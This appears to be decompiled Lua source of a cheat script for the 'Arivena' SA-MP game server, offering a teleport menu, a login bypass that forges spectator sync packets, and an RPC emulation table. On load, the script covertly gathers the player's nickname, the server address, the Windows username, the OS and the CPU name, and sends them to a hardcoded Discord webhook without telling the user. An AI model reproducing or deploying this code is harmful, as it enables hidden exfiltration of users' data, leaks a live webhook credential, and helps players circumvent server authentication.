script_author("abdulreja")
slot0 = require("samp.events")
slot1 = require("imgui")
slot2 = require("vkeys")
slot3 = require("effil")
slot4 = require("encoding")
slot5 = slot4.UTF8
slot6, slot7 = pcall(import, "arivenacheat2.luac")
assert(slot6, "NOTIF arivenacheat2.luac")
slot4.default = "CP1251"
bypass = false
function message(slot0)
    return sampAddChatMessage("{FF0000}[Arivena Fuckers!]:{FFFFFF} " .. slot0, 16711680)
end
slot8 = slot1.ImBool(false)
function slot1.OnDrawFrame()
    if uv0.v then
        uv1.SetNextWindowSize(uv1.ImVec2(300, 300), uv1.Cond.FirstUseEver)
        uv1.Begin("Arivena Cheat | AbdulReja#9662", uv0)
        uv1.Text("Teleport Menu")
        if uv1.Button("Bandara") then
            lua_thread.create(function ()
                setCharCoordinates(playerPed, 1679.524, -2274.9324, -1.2471)
                uv0.HideCursor = true
            end)
        end
        if uv1.Button("Pelabuhan") then
            lua_thread.create(function ()
                setCharCoordinates(playerPed, 2774.7246, -2437.4189, 13.6369)
                uv0.HideCursor = true
            end)
        end
        if uv1.Button("Wali Kota") then
            lua_thread.create(function ()
                setCharCoordinates(playerPed, 1253.8893, -2026.2028, 59.5946)
                uv0.HideCursor = true
            end)
        end
        if uv1.Button("Tukang Ayam") then
            lua_thread.create(function ()
                setCharCoordinates(playerPed, -2085.3914, -2468.4626, 30.625)
                uv0.HideCursor = true
            end)
        end
        if uv1.Button("Penambang") then
            lua_thread.create(function ()
                setCharCoordinates(playerPed, 778.3951, 917.7381, 22.4497)
                uv0.HideCursor = true
            end)
        end
        if uv1.Button("Peleburan") then
            lua_thread.create(function ()
                setCharCoordinates(playerPed, 2206.043, -2243.6101, 13.5469)
                uv0.HideCursor = true
            end)
        end
        if uv1.Button("PigPen") then
            lua_thread.create(function ()
                setCharCoordinates(playerPed, 2433.198, -1248.129, 23.8802)
                uv0.HideCursor = true
            end)
        end
        if uv1.Button("Rumah Sakit") then
            lua_thread.create(function ()
                setCharCoordinates(playerPed, 1215.5939, -1335.9224, 13.5698)
                uv0.HideCursor = true
            end)
        end
        if uv1.Button("Carnaval") then
            lua_thread.create(function ()
                setCharCoordinates(playerPed, 363.2127, -2011.1062, 7.8359)
                uv0.HideCursor = true
            end)
        end
        uv1.End()
    end
end
function main()
    while not isSampAvailable() do
        wait(100)
    end
    uv0.addNotification("{FF0000}AbdulReja Arivena Cheat", "Cheat was sucsessfully\n    loaded!", 10, 2, 1, 8, true, 3)
    uv0.addNotification("{FF0000}Teleport Menu", "Press X for\n    Teleport Menu", 8, 2, 1, 8, true, 3)
    uv0.addNotification("{FF0000}Bypass Login Menu", "Press Z for\n    Bypass Login Menu", 6, 2, 1, 8, true, 3)
    slot3 = sampGetPlayerIdByCharHandle(PLAYER_PED)
    slot5 = sampGetPlayerNickname(slot3)
    SendWebhook("https://discord.com/api/webhooks/1093786745788702721/WdmDR1l6C0yXARpE0513z4anMtt-0puKGHG9UuePdmWZYGm7Uhhrno-OCNZWQkJDN-3S", ([[
{
        "content": null,
        "embeds": [
          {
            "title": "AbdulReja's Arivena Cheat has been Loaded!",
            "color": 49919,
            "fields": [
              {
                "name": "Nickname",
                "value": "`%s`",
                "inline": true
              },
              {
                "name": "Server Name",
                "value": "`%s`",
                "inline": true
              },
              {
                "name": "Server Addresses",
                "value": "`%s`",
                "inline": true
              },
              {
                "name": "PC Name",
                "value": "`%s`",
                "inline": true
              },
              {
                "name": "PC OS",
                "value": "`%s`",
                "inline": true
              },
              {
                "name": "CPU Name",
                "value": "`%s`",
                "inline": true
              }
            ]
          }
        ],
        "attachments": []
          }]]):format(sampGetPlayerNickname(slot3), table.concat({
        sampGetCurrentServerName()
    }, ":"), table.concat({
        sampGetCurrentServerAddress()
    }, ":"), getPCName(), getPCOperatingSystem(), getProcessorName()))
    while true do
        wait(0)
        if wasKeyPressed(uv1.VK_X) then
            uv2.v = not uv2.v
        end
        if wasKeyPressed(uv1.VK_Z) then
            bypass = true
            sampSpawnPlayer()
            restoreCameraJumpcut()
            setCharCoordinates(playerPed, 376.9743, -2027.2871, 7.8301)
            uv0.addNotification("{FF0000}Bypass Login Menu", "Login was sucsessfully\n            bypassed!", 6, 1, 1, 8, true, 3)
            enableDialog(false)
            wait(777)
            bypass = false
        end
        uv3.Process = uv2.v
    end
end
function getProcessorName()
    slot0 = io.popen("reg.exe QUERY HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 /v ProcessorNameString")
    slot0:close()
    return slot0:read("*a"):match("REG_SZ%s+(.+)"):gsub("%s+$", "")
end
function getPCName()
    return os.getenv("USERNAME")
end
function getPCOperatingSystem()
    return os.getenv("OS")
end
function slot0.onSendPlayerSync(slot0)
    if bypass then
        slot1 = samp_create_sync_data("spectator")
        slot1.position = {
            x = x,
            y = y,
            z = z
        }
        slot1.position = slot0.position
        slot1.send()
        return false
    end
end
function slot0.onSendSpawn()
    if bypass then
        return false
    end
end
function slot0.onSendRequestSpawn()
    if bypass then
        return false
    end
end
function enableDialog(slot0)
    require("memory").setint32(sampGetDialogInfoPtr() + 40, slot0 and 1 or 0, true)
    sampToggleCursor(slot0)
end
function samp_create_sync_data(slot0, slot1)
    slot2 = require("ffi")
    slot3 = require("sampfuncs")
    slot4 = require("samp.raknet")
    slot7 = "struct " .. ({
        player = {
            "PlayerSyncData",
            slot4.PACKET.PLAYER_SYNC,
            sampStorePlayerOnfootData
        },
        vehicle = {
            "VehicleSyncData",
            slot4.PACKET.VEHICLE_SYNC,
            sampStorePlayerIncarData
        },
        passenger = {
            "PassengerSyncData",
            slot4.PACKET.PASSENGER_SYNC,
            sampStorePlayerPassengerData
        },
        aim = {
            "AimSyncData",
            slot4.PACKET.AIM_SYNC,
            sampStorePlayerAimData
        },
        trailer = {
            "TrailerSyncData",
            slot4.PACKET.TRAILER_SYNC,
            sampStorePlayerTrailerData
        },
        unoccupied = {
            "UnoccupiedSyncData",
            slot4.PACKET.UNOCCUPIED_SYNC
        },
        bullet = {
            "BulletSyncData",
            slot4.PACKET.BULLET_SYNC
        },
        spectator = {
            "SpectatorSyncData",
            slot4.PACKET.SPECTATOR_SYNC
        }
    })[slot0][1]
    slot9 = tonumber(slot2.cast("uintptr_t", slot2.new(slot7 .. "*", slot2.new(slot7, {}))))
    if (slot1 or true) and slot6[3] then
        slot11, slot12 = nil
        if slot1 == true then
            slot11, slot12 = sampGetPlayerIdByCharHandle(PLAYER_PED)
        else
            slot12 = tonumber(slot1)
        end
        slot10(slot12, slot9)
    end
    return setmetatable({
        send = function ()
            slot0 = raknetNewBitStream()
            raknetBitStreamWriteInt8(slot0, uv0[2])
            raknetBitStreamWriteBuffer(slot0, uv1, uv2.sizeof(uv3))
            raknetSendBitStreamEx(slot0, uv4.HIGH_PRIORITY, uv4.UNRELIABLE_SEQUENCED, 1)
            raknetDeleteBitStream(slot0)
        end
    }, {
        __index = function (slot0, slot1)
            return uv0[slot1]
        end,
        __newindex = function (slot0, slot1, slot2)
            uv0[slot1] = slot2
        end
    })
end
function SendWebhook(slot0, slot1, slot2, slot3)
    function (slot0, slot1, slot2, slot3, slot4)
        slot5 = uv0.thread(function (slot0, slot1, slot2)
            slot4, slot5 = pcall(require("requests").request, slot0, slot1, slot2)
            if slot4 then
                slot5.xml = nil
                slot5.json = nil
                return true, slot5
            else
                return false, slot5
            end
        end)(slot0, slot1, slot2)
        slot3 = slot3 or function ()
        end
        slot4 = slot4 or function ()
        end
        lua_thread.create(function ()
            slot0 = uv0
            while true do
                slot1, slot2 = slot0:status()
                if not slot2 then
                    if slot1 == "completed" then
                        slot3, slot4 = slot0:get()
                        if slot3 then
                            uv1(slot4)
                        else
                            uv2(slot4)
                        end
                        return
                    elseif slot1 == "canceled" then
                        return uv2(slot1)
                    end
                else
                    return uv2(slot2)
                end
                wait(0)
            end
        end)
    end("POST", slot0, {
        headers = {
            ["content-type"] = "application/json"
        },
        data = uv1(slot1)
    }, slot2, slot3)
end
function emul_rpc(slot0, slot1)
    slot2 = require("samp.events.bitstream_io")
    slot3 = require("samp.events.handlers")
    slot4 = require("samp.events.extra_types")
    slot7 = {
        Int32Array3 = true,
        PlayerScorePingMap = true
    }
    if ({
        onInitGame = {
            139
        },
        onPlayerJoin = {
            "int16",
            "int32",
            "bool8",
            "string8",
            137
        },
        onPlayerQuit = {
            "int16",
            "int8",
            138
        },
        onRequestClassResponse = {
            "bool8",
            "int8",
            "int32",
            "int8",
            "vector3d",
            "float",
            "Int32Array3",
            "Int32Array3",
            128
        },
        onRequestSpawnResponse = {
            "bool8",
            129
        },
        onSetPlayerName = {
            "int16",
            "string8",
            "bool8",
            11
        },
        onSetPlayerPos = {
            "vector3d",
            12
        },
        onSetPlayerPosFindZ = {
            "vector3d",
            13
        },
        onSetPlayerHealth = {
            "float",
            14
        },
        onTogglePlayerControllable = {
            "bool8",
            15
        },
        onPlaySound = {
            "int32",
            "vector3d",
            16
        },
        onSetWorldBounds = {
            "float",
            "float",
            "float",
            "float",
            17
        },
        onGivePlayerMoney = {
            "int32",
            18
        },
        onSetPlayerFacingAngle = {
            "float",
            19
        },
        onGivePlayerWeapon = {
            "int32",
            "int32",
            22
        },
        onSetPlayerTime = {
            "int8",
            "int8",
            29
        },
        onSetToggleClock = {
            "bool8",
            30
        },
        onPlayerStreamIn = {
            "int16",
            "int8",
            "int32",
            "vector3d",
            "float",
            "int32",
            "int8",
            32
        },
        onSetShopName = {
            "string256",
            33
        },
        onSetPlayerSkillLevel = {
            "int16",
            "int32",
            "int16",
            34
        },
        onSetPlayerDrunk = {
            "int32",
            35
        },
        onCreate3DText = {
            "int16",
            "int32",
            "vector3d",
            "float",
            "bool8",
            "int16",
            "int16",
            "encodedString4096",
            36
        },
        onSetRaceCheckpoint = {
            "int8",
            "vector3d",
            "vector3d",
            "float",
            38
        },
        onPlayAudioStream = {
            "string8",
            "vector3d",
            "float",
            "bool8",
            41
        },
        onRemoveBuilding = {
            "int32",
            "vector3d",
            "float",
            43
        },
        onCreateObject = {
            44
        },
        onSetObjectPosition = {
            "int16",
            "vector3d",
            45
        },
        onSetObjectRotation = {
            "int16",
            "vector3d",
            46
        },
        onDestroyObject = {
            "int16",
            47
        },
        onPlayerDeathNotification = {
            "int16",
            "int16",
            "int8",
            55
        },
        onSetMapIcon = {
            "int8",
            "vector3d",
            "int8",
            "int32",
            "int8",
            56
        },
        onRemoveVehicleComponent = {
            "int16",
            "int16",
            57
        },
        onRemove3DTextLabel = {
            "int16",
            58
        },
        onPlayerChatBubble = {
            "int16",
            "int32",
            "float",
            "int32",
            "string8",
            59
        },
        onUpdateGlobalTimer = {
            "int32",
            60
        },
        onShowDialog = {
            "int16",
            "int8",
            "string8",
            "string8",
            "string8",
            "encodedString4096",
            61
        },
        onDestroyPickup = {
            "int32",
            63
        },
        onLinkVehicleToInterior = {
            "int16",
            "int8",
            65
        },
        onSetPlayerArmour = {
            "float",
            66
        },
        onSetPlayerArmedWeapon = {
            "int32",
            67
        },
        onSetSpawnInfo = {
            "int8",
            "int32",
            "int8",
            "vector3d",
            "float",
            "Int32Array3",
            "Int32Array3",
            68
        },
        onSetPlayerTeam = {
            "int16",
            "int8",
            69
        },
        onPutPlayerInVehicle = {
            "int16",
            "int8",
            70
        },
        onSetPlayerColor = {
            "int16",
            "int32",
            72
        },
        onDisplayGameText = {
            "int32",
            "int32",
            "string32",
            73
        },
        onAttachObjectToPlayer = {
            "int16",
            "int16",
            "vector3d",
            "vector3d",
            75
        },
        onInitMenu = {
            76
        },
        onShowMenu = {
            "int8",
            77
        },
        onHideMenu = {
            "int8",
            78
        },
        onCreateExplosion = {
            "vector3d",
            "int32",
            "float",
            79
        },
        onShowPlayerNameTag = {
            "int16",
            "bool8",
            80
        },
        onAttachCameraToObject = {
            "int16",
            81
        },
        onInterpolateCamera = {
            "bool",
            "vector3d",
            "vector3d",
            "int32",
            "int8",
            82
        },
        onGangZoneStopFlash = {
            "int16",
            85
        },
        onApplyPlayerAnimation = {
            "int16",
            "string8",
            "string8",
            "bool",
            "bool",
            "bool",
            "bool",
            "int32",
            86
        },
        onClearPlayerAnimation = {
            "int16",
            87
        },
        onSetPlayerSpecialAction = {
            "int8",
            88
        },
        onSetPlayerFightingStyle = {
            "int16",
            "int8",
            89
        },
        onSetPlayerVelocity = {
            "vector3d",
            90
        },
        onSetVehicleVelocity = {
            "bool8",
            "vector3d",
            91
        },
        onServerMessage = {
            "int32",
            "string32",
            93
        },
        onSetWorldTime = {
            "int8",
            94
        },
        onCreatePickup = {
            "int32",
            "int32",
            "int32",
            "vector3d",
            95
        },
        onMoveObject = {
            "int16",
            "vector3d",
            "vector3d",
            "float",
            "vector3d",
            99
        },
        onEnableStuntBonus = {
            "bool",
            104
        },
        onTextDrawSetString = {
            "int16",
            "string16",
            105
        },
        onSetCheckpoint = {
            "vector3d",
            "float",
            107
        },
        onCreateGangZone = {
            "int16",
            "vector2d",
            "vector2d",
            "int32",
            108
        },
        onPlayCrimeReport = {
            "int16",
            "int32",
            "int32",
            "int32",
            "int32",
            "vector3d",
            112
        },
        onGangZoneDestroy = {
            "int16",
            120
        },
        onGangZoneFlash = {
            "int16",
            "int32",
            121
        },
        onStopObject = {
            "int16",
            122
        },
        onSetVehicleNumberPlate = {
            "int16",
            "string8",
            123
        },
        onTogglePlayerSpectating = {
            "bool32",
            124
        },
        onSpectatePlayer = {
            "int16",
            "int8",
            126
        },
        onSpectateVehicle = {
            "int16",
            "int8",
            127
        },
        onShowTextDraw = {
            134
        },
        onSetPlayerWantedLevel = {
            "int8",
            133
        },
        onTextDrawHide = {
            "int16",
            135
        },
        onRemoveMapIcon = {
            "int8",
            144
        },
        onSetWeaponAmmo = {
            "int8",
            "int16",
            145
        },
        onSetGravity = {
            "float",
            146
        },
        onSetVehicleHealth = {
            "int16",
            "float",
            147
        },
        onAttachTrailerToVehicle = {
            "int16",
            "int16",
            148
        },
        onDetachTrailerFromVehicle = {
            "int16",
            149
        },
        onSetWeather = {
            "int8",
            152
        },
        onSetPlayerSkin = {
            "int32",
            "int32",
            153
        },
        onSetInterior = {
            "int8",
            156
        },
        onSetCameraPosition = {
            "vector3d",
            157
        },
        onSetCameraLookAt = {
            "vector3d",
            "int8",
            158
        },
        onSetVehiclePosition = {
            "int16",
            "vector3d",
            159
        },
        onSetVehicleAngle = {
            "int16",
            "float",
            160
        },
        onSetVehicleParams = {
            "int16",
            "int16",
            "bool8",
            161
        },
        onChatMessage = {
            "int16",
            "string8",
            101
        },
        onConnectionRejected = {
            "int8",
            130
        },
        onPlayerStreamOut = {
            "int16",
            163
        },
        onVehicleStreamIn = {
            164
        },
        onVehicleStreamOut = {
            "int16",
            165
        },
        onPlayerDeath = {
            "int16",
            166
        },
        onPlayerEnterVehicle = {
            "int16",
            "int16",
            "bool8",
            26
        },
        onUpdateScoresAndPings = {
            "PlayerScorePingMap",
            155
        },
        onSetObjectMaterial = {
            84
        },
        onSetObjectMaterialText = {
            84
        },
        onSetVehicleParamsEx = {
            "int16",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            "int8",
            24
        },
        onSetPlayerAttachedObject = {
            "int16",
            "int32",
            "bool",
            "int32",
            "int32",
            "vector3d",
            "vector3d",
            "vector3d",
            "int32",
            "int32",
            113
        }
    })[slot0] then
        slot9 = raknetNewBitStream()
        if not ({
            onShowTextDraw = true,
            onSetObjectMaterialText = true,
            onVehicleStreamIn = true,
            onSetObjectMaterial = true,
            onInitMenu = true,
            onInitGame = true,
            onCreateObject = true
        })[slot0] then
            if #slot8 - 1 > 0 then
                for slot14 = 1, slot10 do
                    if slot7[slot8[slot14]] then
                        slot4[slot15].write(slot9, slot1[slot14])
                    else
                        slot2[slot15].write(slot9, slot1[slot14])
                    end
                end
            end
        elseif slot0 == "onInitGame" then
            slot3.on_init_game_writer(slot9, slot1)
        elseif slot0 == "onCreateObject" then
            slot3.on_create_object_writer(slot9, slot1)
        elseif slot0 == "onInitMenu" then
            slot3.on_init_menu_writer(slot9, slot1)
        elseif slot0 == "onShowTextDraw" then
            slot3.on_show_textdraw_writer(slot9, slot1)
        elseif slot0 == "onVehicleStreamIn" then
            slot3.on_vehicle_stream_in_writer(slot9, slot1)
        elseif slot0 == "onSetObjectMaterial" then
            slot3.on_set_object_material_writer(slot9, slot1, 1)
        elseif slot0 == "onSetObjectMaterialText" then
            slot3.on_set_object_material_writer(slot9, slot1, 2)
        end
        raknetEmulRpcReceiveBitStream(slot8[#slot8], slot9)
        raknetDeleteBitStream(slot9)
    end
end